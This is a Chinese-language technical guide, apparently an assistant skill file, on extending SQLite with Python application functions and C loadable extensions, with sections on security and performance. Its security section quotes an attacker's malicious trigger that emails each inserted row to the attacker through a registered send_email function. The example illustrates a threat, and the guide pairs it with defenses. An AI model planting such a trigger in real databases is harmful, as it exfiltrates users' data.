sqlite

面向服务端应用的 SQLite

从服务端进程扩展 SQLite 的两种方式（以下示例使用 Python； 同样的概念也适用于通过 zombiezen/go-sqlite 或 mattn/go-sqlite3 使用 Go）：

1. 应用自定义函数 — 直接在连接上注册可调用对象。无需编译，也无需共享库。最适合项目专属逻辑（评分、转换、自定义聚合）。

2. 可加载扩展 — 编译后的 C 共享库（.so/.dll/.dylib），在运行时加载。最适合希望在多个项目间共享或分发给他人的可复用插件。扩展可以注册函数、虚拟表、排序规则和 VFS 实现。

这两种方式都会在 SQLite 的查询引擎中运行——自定义逻辑可与索引、WHERE 子句、GROUP BY 和窗口帧组合使用。

何时使用此技能

• 需要在 SQL 中进行自定义转换 — 领域评分、文本规范化、哈希、单位转换、自定义 JSON 提取
• 希望使用自己的逻辑支持 计算列或索引（需要 deterministic=True）
• 需要超出 SUM/AVG/COUNT 范围的 自定义聚合 — 加权平均数、运行中位数、HyperLogLog 草图
• 希望 加载第三方 SQLite 扩展（spatialite、sqlite-vec 等）
• 希望将 可复用的 SQLite 插件构建为共享库
• 在服务端进程中 使用 SQLite 作为应用数据库（而非仅用于临时脚本）

何时不要使用此技能

• 需要全文搜索 → 使用 SQLite 内置的 FTS5 扩展（如果编译时未包含该扩展，可参考此处的加载部分了解如何启用）
• 需要向量相似度 → 使用 sqlite-vec（按照加载部分的说明将其作为扩展加载）
• 数据库使用 PostgreSQL/MySQL → 改用原生 UDF 或存储过程

---

第 1 部分：应用自定义函数

注册 Python 可调用对象，供 SQLite 在查询执行期间调用。无需 C 代码，也无需共享库——只需按连接注册函数。

函数类型

类型	调用时机	返回值	用途
标量	每行调用一次	单个值	转换、解析、哈希
聚合	每行调用 step()，最后调用一次 finalize()	单个值	自定义汇总、草图
窗口	调用 step()/inverse()/value()/finalize()	每行一个值	运行统计、移动平均

这三种类型都按连接注册——每次打开数据库时都必须重新注册。

Python：标准库 sqlite3

标量函数

import sqlite3
import hashlib
import json

conn = sqlite3.connect("app.db")

# Basic scalar: normalize whitespace
def normalize_ws(text: str | None) -> str | None:
    if text is None:
        return None
    return " ".join(text.split())

conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)

# Use it in queries
conn.execute("""
    SELECT normalize_ws(name) FROM users WHERE normalize_ws(name) LIKE ?
""", ("%john doe%",))

# Scalar with multiple args: extract nested JSON key
def json_dig(blob: str | None, *keys: str) -> str | None:
    if blob is None:
        return None
    try:
        obj = json.loads(blob)
        for key in keys:
            if isinstance(obj, dict):
                obj = obj.get(key)
            elif isinstance(obj, list) and key.isdigit():
                obj = obj[int(key)]
            else:
                return None
        return json.dumps(obj) if isinstance(obj, (dict, list)) else str(obj)
    except (json.JSONDecodeError, IndexError, TypeError):
        return None

# nArg=-1 means variadic
conn.create_function("json_dig", -1, json_dig, deterministic=True)

conn.execute("SELECT json_dig(metadata, 'address', 'city') FROM users")

create_function 的关键参数：

参数	含义
name	SQL 函数名（不区分大小写，UTF-8 最长 255 字节）
narg	预期参数数量。-1 = 可变参数。
func	Python 可调用对象
deterministic	若为 True，SQLite 可以缓存结果并在索引中使用该函数。任何纯函数都应设置此参数。

聚合函数

通过实现 step() 和 finalize() 方法来创建子类：

class WeightedAvg:
    """Weighted average aggregate: weighted_avg(value, weight)"""

    def __init__(self):
        self.numerator = 0.0
        self.denominator = 0.0

    def step(self, value, weight):
        if value is None or weight is None:
            return
        self.numerator += value * weight
        self.denominator += weight

    def finalize(self):
        if self.denominator == 0:
            return None
        return self.numerator / self.denominator

conn.create_aggregate("weighted_avg", 2, WeightedAvg)

conn.execute("""
    SELECT category, weighted_avg(score, sample_weight)
    FROM reviews
    GROUP BY category
""")

如果至少调用过一次 step()，SQLite 保证 finalize() 恰好调用一次，即使查询被中断也一样。请在 finalize() 中清理所有资源。

窗口函数（Python 3.11+）

class RunningMedian:
    """Window function: running median over the window frame."""

    def __init__(self):
        self.values = []

    def step(self, value):
        if value is not None:
            self.values.append(value)

    def inverse(self, value):
        """Called when a row leaves the window frame."""
        if value is not None:
            self.values.remove(value)

    def value(self):
        """Current window value — called after each step/inverse."""
        if not self.values:
            return None
        s = sorted(self.values)
        n = len(s)
        if n % 2 == 1:
            return s[n // 2]
        return (s[n // 2 - 1] + s[n // 2]) / 2

    def finalize(self):
        return self.value()

conn.create_window_function("running_median", 1, RunningMedian)

conn.execute("""
    SELECT ts, price,
           running_median(price) OVER (
               ORDER BY ts ROWS BETWEEN 4 PRECEDING AND CURRENT ROW
           ) AS median_5
    FROM trades
""")

窗口函数需要四个方法：step、inverse、value、finalize。inverse 方法是提高窗口计算效率的关键——SQLite 通过添加一行（step）并移除一行（inverse）来滑动窗口，而不是从头开始重新计算。

注册辅助函数模式

将所有函数集中在一处注册，以便每个连接都能使用：

def register_app_functions(conn: sqlite3.Connection) -> None:
    """Register all application-defined functions on a connection."""
    conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)
    conn.create_function("json_dig", -1, json_dig, deterministic=True)
    conn.create_aggregate("weighted_avg", 2, WeightedAvg)
    # ...add more here

# Use it everywhere you open a connection
conn = sqlite3.connect("app.db")
register_app_functions(conn)

deterministic 标志

当函数对相同输入始终返回相同输出时，将其标记为确定性。这至关重要——它可以启用：

1. 表达式索引——CREATE INDEX idx ON t(my_func(col)) 仅适用于确定性函数。
2. 生成列—— col_norm TEXT GENERATED ALWAYS AS (normalize_ws(col)) 要求函数具有确定性。
3. 查询优化——当 SQLite 发现参数相同时，可能只计算一次函数并重复使用结果。
4. 部分索引——CREATE INDEX idx ON t(col) WHERE my_func(col) > 0。

以下情况请勿将函数标记为确定性：

• 读取时钟、生成随机值或依赖区域设置
• 调用外部服务或读取可变状态
• 在不同连接中对相同输入返回不同值

错误地将函数标记为确定性会悄无声息地破坏索引——索引条目将与读取时重新计算的值不匹配。

NULL 处理

SQLite 将 NULL 作为一等值传递。你的函数必须显式处理它——NULL 参数几乎总是应产生 NULL 结果（符合 SQL 标准的 NULL 传播语义）。

def my_func(x):
    if x is None:
        return None
    return x * 2

未能正确处理 NULL 会导致：

• 在 Python 中对 None 调用方法时触发 TypeError 崩溃
• NULL 应传播却未传播时，查询结果错误

类型亲和性

SQLite 使用动态类型——声明为 INTEGER 的列也可以存储文本。你的函数接收调用方传入的任何类型。请做好防护：

def safe_multiply(a, b):
    if a is None or b is None:
        return None
    try:
        return float(a) * float(b)
    except (ValueError, TypeError):
        return None

常见模式

模糊文本匹配

from difflib import SequenceMatcher

def similarity(a, b):
    if a is None or b is None:
        return None
    return SequenceMatcher(None, a.lower(), b.lower()).ratio()

conn.create_function("similarity", 2, similarity, deterministic=True)

# Find near-matches
conn.execute("""
    SELECT name, similarity(name, ?) AS score
    FROM products
    WHERE score > 0.6
    ORDER BY score DESC
    LIMIT 10
""", ("wireless headphones",))

领域评分

def lead_score(revenue, recency_days, engagement):
    if any(v is None for v in (revenue, recency_days, engagement)):
        return None
    score = 0.0
    score += min(revenue / 10000, 1.0) * 40      # revenue: up to 40 pts
    score += max(1 - recency_days / 365, 0) * 30  # recency: up to 30 pts
    score += min(engagement / 100, 1.0) * 30       # engagement: up to 30 pts
    return round(score, 2)

conn.create_function("lead_score", 3, lead_score, deterministic=True)

# Use in queries, views, even indexes
conn.execute("""
    CREATE INDEX idx_hot_leads
    ON leads(lead_score(revenue, recency_days, engagement))
    WHERE lead_score(revenue, recency_days, engagement) > 70
""")

Epoch / 时间戳转换

from datetime import datetime, timezone

def epoch_to_iso(epoch_secs):
    if epoch_secs is None:
        return None
    return datetime.fromtimestamp(epoch_secs, tz=timezone.utc).isoformat()

def iso_to_epoch(iso_str):
    if iso_str is None:
        return None
    return int(datetime.fromisoformat(iso_str).timestamp())

conn.create_function("epoch_to_iso", 1, epoch_to_iso, deterministic=True)
conn.create_function("iso_to_epoch", 1, iso_to_epoch, deterministic=True)

---

第 2 部分：可加载扩展

可加载扩展是 SQLite 在运行时加载的 C 共享库。它们是可复用 SQLite 插件的打包机制——从空间索引（SpatiaLite）到向量搜索（sqlite-vec），都以可加载扩展的形式发布。

在服务器进程中，你主要会加载预构建的扩展，而不是编写它们。但了解它们的工作原理有助于调试加载失败、评估第三方扩展，并在需要时构建自己的扩展。

从 Python 加载扩展

import sqlite3

conn = sqlite3.connect("app.db")

# Extension loading is disabled by default — enable it first
conn.enable_load_extension(True)

# Load an extension (.so on Linux, .dylib on macOS, .dll on Windows)
# Omit the file extension — SQLite adds the platform-appropriate suffix
conn.load_extension("./spatialite")
# or with explicit entry point:
conn.load_extension("./my_extension", "sqlite3_myext_init")

# Disable loading after you're done (defense in depth)
conn.enable_load_extension(False)

# Now use the extension's functions/tables
conn.execute("SELECT InitSpatialMetaData()")

重要：conn.enable_load_extension(True) 只启用 C API 路径（sqlite3_load_extension）。它不会启用 SQL 函数 load_extension()——这是有意为之，以防止 SQL 注入加载任意扩展。

使用扩展的连接初始化模式

def init_connection(conn: sqlite3.Connection) -> None:
    """Initialize a connection with extensions and app functions."""
    # 1. Security defaults
    conn.execute("PRAGMA trusted_schema = OFF")

    # 2. Load extensions
    conn.enable_load_extension(True)
    conn.load_extension("./sqlite_vec")
    conn.load_extension("./spatialite")
    conn.enable_load_extension(False)

    # 3. Register app-defined functions
    conn.create_function("normalize_ws", 1, normalize_ws, deterministic=True)
    conn.create_aggregate("weighted_avg", 2, WeightedAvg)

构建 C 扩展

当你需要一个可复用插件——例如要在多个项目中加载或分发的插件——请使用 C 编写。

最简扩展模板

#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1

/*
 * Scalar function: double(X) returns X * 2
 */
static void doubleFunc(
    sqlite3_context *ctx,
    int argc,
    sqlite3_value **argv
) {
    if (sqlite3_value_type(argv[0]) == SQLITE_NULL) {
        sqlite3_result_null(ctx);
        return;
    }
    double val = sqlite3_value_double(argv[0]);
    sqlite3_result_double(ctx, val * 2.0);
}

/*
 * Entry point — SQLite calls this when the extension is loaded.
 * Name convention: sqlite3_<extension>_init
 */
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_mydemo_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);
    return sqlite3_create_function(
        db, "double", 1,
        SQLITE_UTF8 | SQLITE_DETERMINISTIC | SQLITE_INNOCUOUS,
        NULL, doubleFunc, NULL, NULL
    );
}

编译

# Linux
gcc -g -fPIC -shared mydemo.c -o mydemo.so

# macOS
gcc -g -fPIC -dynamiclib mydemo.c -o mydemo.dylib

# Windows (MSVC)
cl mydemo.c -link -dll -out:mydemo.dll

# Windows (MinGW)
gcc -g -shared mydemo.c -o mydemo.dll

构建要点：

• 包含 sqlite3ext.h（而非 sqlite3.h）——它提供扩展 API 指针表
• 在 Linux/macOS 上使用 -fPIC，以生成位置无关代码
• 加载时省略文件扩展名——SQLite 会自动添加适用于平台的后缀

入口点命名

SQLite 会根据文件名自动发现入口点：

1. 取最后一个 / 与第一个 . 之间的文件名部分
2. 转为小写，如果开头有 lib 则将其去掉
3. 入口点 = sqlite3_<result>_init

示例：

• ./libmathfunc-4.8.so → sqlite3_mathfunc_init
• ./myext.so → sqlite3_myext_init
• ./path/to/demo.dll → sqlite3_demo_init

如果要使用不同的入口点名称，请将其作为 load_extension() 的第二个参数显式传入。

扩展可以注册的内容

入口函数会接收一个 sqlite3 *db 句柄，并可在其上调用任何 SQLite API：

注册调用	添加的内容
sqlite3_create_function_v2()	标量函数 / 聚合函数
sqlite3_create_window_function()	窗口函数
sqlite3_create_collation_v2()	排序序列
sqlite3_create_module_v2()	虚拟表
sqlite3_vfs_register()	自定义 VFS 实现
sqlite3_auto_extension()	为后续连接自动注册

使用 sqlite3_auto_extension 的持久扩展

默认情况下，扩展的作用范围仅限于加载它的连接。若要让扩展在进程内所有后续连接上自动注册：

int sqlite3_mydemo_init(sqlite3 *db, char **pzErrMsg,
                        const sqlite3_api_routines *pApi) {
    SQLITE_EXTENSION_INIT2(pApi);

    /* Register for this connection */
    int rc = sqlite3_create_function(db, "double", 1,
        SQLITE_UTF8 | SQLITE_DETERMINISTIC, NULL, doubleFunc, NULL, NULL);
    if (rc != SQLITE_OK) return rc;

    /* Auto-register for all future connections */
    sqlite3_auto_extension((void(*)(void))sqlite3_mydemo_init);

    /* Tell SQLite to keep this extension in memory */
    return SQLITE_OK_LOAD_PERMANENTLY;
}

SQLITE_OK_LOAD_PERMANENTLY 会使共享库在最初加载它的连接关闭后仍保持加载状态。sqlite3_auto_extension 会让初始化函数在进程内每次调用新的 sqlite3_open() 时运行。

静态链接

相同的源代码可用于动态和静态链接。将扩展编译到应用中时：

1. 将 -DSQLITE_CORE 添加到构建标志中——这会使 SQLITE_EXTENSION_INIT 宏变成空操作
2. 在应用代码中直接调用入口点：

extern int sqlite3_mydemo_init(sqlite3*, char**, const sqlite3_api_routines*);

sqlite3 *db;
sqlite3_open("app.db", &db);
sqlite3_mydemo_init(db, NULL, NULL);  // pApi is unused with SQLITE_CORE

静态链接多个扩展时，请使用不同的入口点名称，以避免符号冲突。

值得关注的扩展

你可能会加载的扩展：

扩展	用途	加载名称
sqlite-vec	向量相似性搜索	sqlite_vec
SpatiaLite	地理空间查询（类似 PostGIS）	mod_spatialite
sqlean	类似标准库的集合（数学、文本、加密、正则表达式）	因模块而异
sqlite-lines	逐行处理文件 / 文本	lines
sqlite-http	从 SQL 发起 HTTP 请求	http
FTS5	全文搜索（通常已编译在内，有时单独提供）	fts5
compress	zlib 压缩 / 解压	compress

---

安全性

适用于应用函数和可加载扩展的安全注意事项。

受信任的架构

SQLite 打开数据库文件时，会读取其中的架构（视图、触发器、生成列、表达式索引、CHECK 约束）。如果数据库来自不可信来源，恶意架构可能会以意料之外的方式调用你的函数。

**攻击示例：**你注册了一个 send_email(to, body) 函数。攻击者构造一个包含以下触发器的数据库： CREATE TRIGGER t AFTER INSERT ON log BEGIN SELECT send_email('[email protected]', new.data); END;。 现在，每次向 log 执行 INSERT 操作，都会将数据通过电子邮件发送给攻击者。

防御措施：在每个连接上禁用受信任的架构。

conn.execute("PRAGMA trusted_schema = OFF")

当 trusted_schema = OFF 时，只有标记为 SQLITE_INNOCUOUS 的函数才能从架构定义的 SQL 中运行。默认情况下，你的自定义函数不在其中。

DIRECTONLY 和 INNOCUOUS

标志	效果	适用场景
DIRECTONLY	不能从视图、触发器、生成列、表达式索引中运行	有副作用的函数（send_email、write_file、HTTP 调用）
INNOCUOUS	即使 trusted_schema = OFF，也明确允许在架构定义的 SQL 中使用	你已审查过、可在对抗性环境中安全使用的纯辅助函数
(均未设置)	trusted_schema = OFF 时会被阻止，否则允许	应用函数的默认设置——在该 PRAGMA 下是安全的

Python 的 sqlite3 不直接提供 DIRECTONLY 或 INNOCUOUS 标志—— 依靠 PRAGMA trusted_schema = OFF 提供保护。在 Go 中，zombiezen/go-sqlite 通过 FunctionImpl 上的 DirectOnly: true 提供此功能。

除非已审查自定义函数在对抗性架构环境中的安全性，否则绝不要将其标记为 INNOCUOUS。

扩展加载控制

默认情况下，扩展加载处于禁用状态——必须显式启用。 这是一道安全边界：

• conn.enable_load_extension(True)（Python）仅启用 C API 路径——它 不会启用 load_extension() SQL 函数。攻击者即使实施 SQL 注入，也无法加载任意扩展。
• 加载扩展后，调用 conn.enable_load_extension(False)，重新锁定入口。
• 要在编译时禁用扩展加载：-DSQLITE_OMIT_LOAD_EXTENSION

安全检查清单

• 在每个连接上执行 PRAGMA trusted_schema = OFF
• 加载扩展后禁用扩展加载
• 使用 trusted_schema=OFF 保护有副作用的函数
• 未经安全审查，不将任何函数标记为 INNOCUOUS
• 函数能妥善处理 NULL 输入（返回 NULL，不要崩溃）
• 函数在错误路径上不会泄漏内存或文件句柄

---

性能

适用于应用函数和扩展函数。

1. 不进行 I/O——不要在函数内部读取文件、调用 API 或访问网络。预先计算并存储结果。
2. 避免在热点路径中分配内存——尽可能复用缓冲区。
3. 避免每次调用都编译正则表达式——编译一次，并在闭包中捕获：

import re
_PATTERN = re.compile(r"\b\d{3}-\d{2}-\d{4}\b")

def contains_ssn(text):
    if text is None:
        return None
    return 1 if _PATTERN.search(text) else 0

conn.create_function("contains_ssn", 1, contains_ssn, deterministic=True)

4. 对索引列使用确定性函数——如果你经常按 WHERE my_func(col) = X 进行筛选，请创建表达式索引。该函数 会在 INSERT/UPDATE 时运行一次，而不是在每次查询时运行。

---

常见问题

1. **忘记在新连接上重新注册。**函数和扩展都是每个连接独立的（除非使用 sqlite3_auto_extension）。请在连接池的初始化钩子中注册。

2. **将非确定性函数标记为确定性函数。**这会在不报错的情况下破坏表达式索引和生成列。索引中存储的是旧值，查询看到的却是新值。

3. **忽略 NULL。**如果函数遇到 NULL 输入时崩溃，那么该列中包含 NULL 值的每个查询都会失败。

4. **每行执行繁重计算。**在 SELECT ... FROM million_row_table 中调用的函数会运行一百万次。请进行性能分析。

5. **在被优化器使用的函数中产生副作用。**SQLite 调用函数的次数可能比你预期的多，也可能更少。切勿依赖调用次数。

6. **加载扩展时架构不匹配。**为 x86_64 编译的 .so 无法在 ARM 进程中加载。在 macOS 上，你可能需要显式指定 -arch arm64 或 -arch x86_64。

7. **忘记禁用扩展加载。**如果一直启用 enable_load_extension(True)，而攻击者又成功实施了 SQL 注入，他们 仍无法从 SQL 调用 load_extension()（Python 只启用了 C API 路径），但为增强纵深防御，仍应锁定入口。

依赖项

Python： 标准库 sqlite3（随 CPython 一起提供）。窗口函数需要 Python 3.11 或更高版本。

Go： zombiezen.com/go/sqlite（不使用 CGo）或 github.com/mattn/go-sqlite3（使用 CGo）——两者都支持应用函数和扩展加载。请在运行时查阅它们的 API。

C 扩展： C 编译器（gcc、clang、MSVC）和 sqlite3ext.h（随 SQLite amalgamation 一起提供）。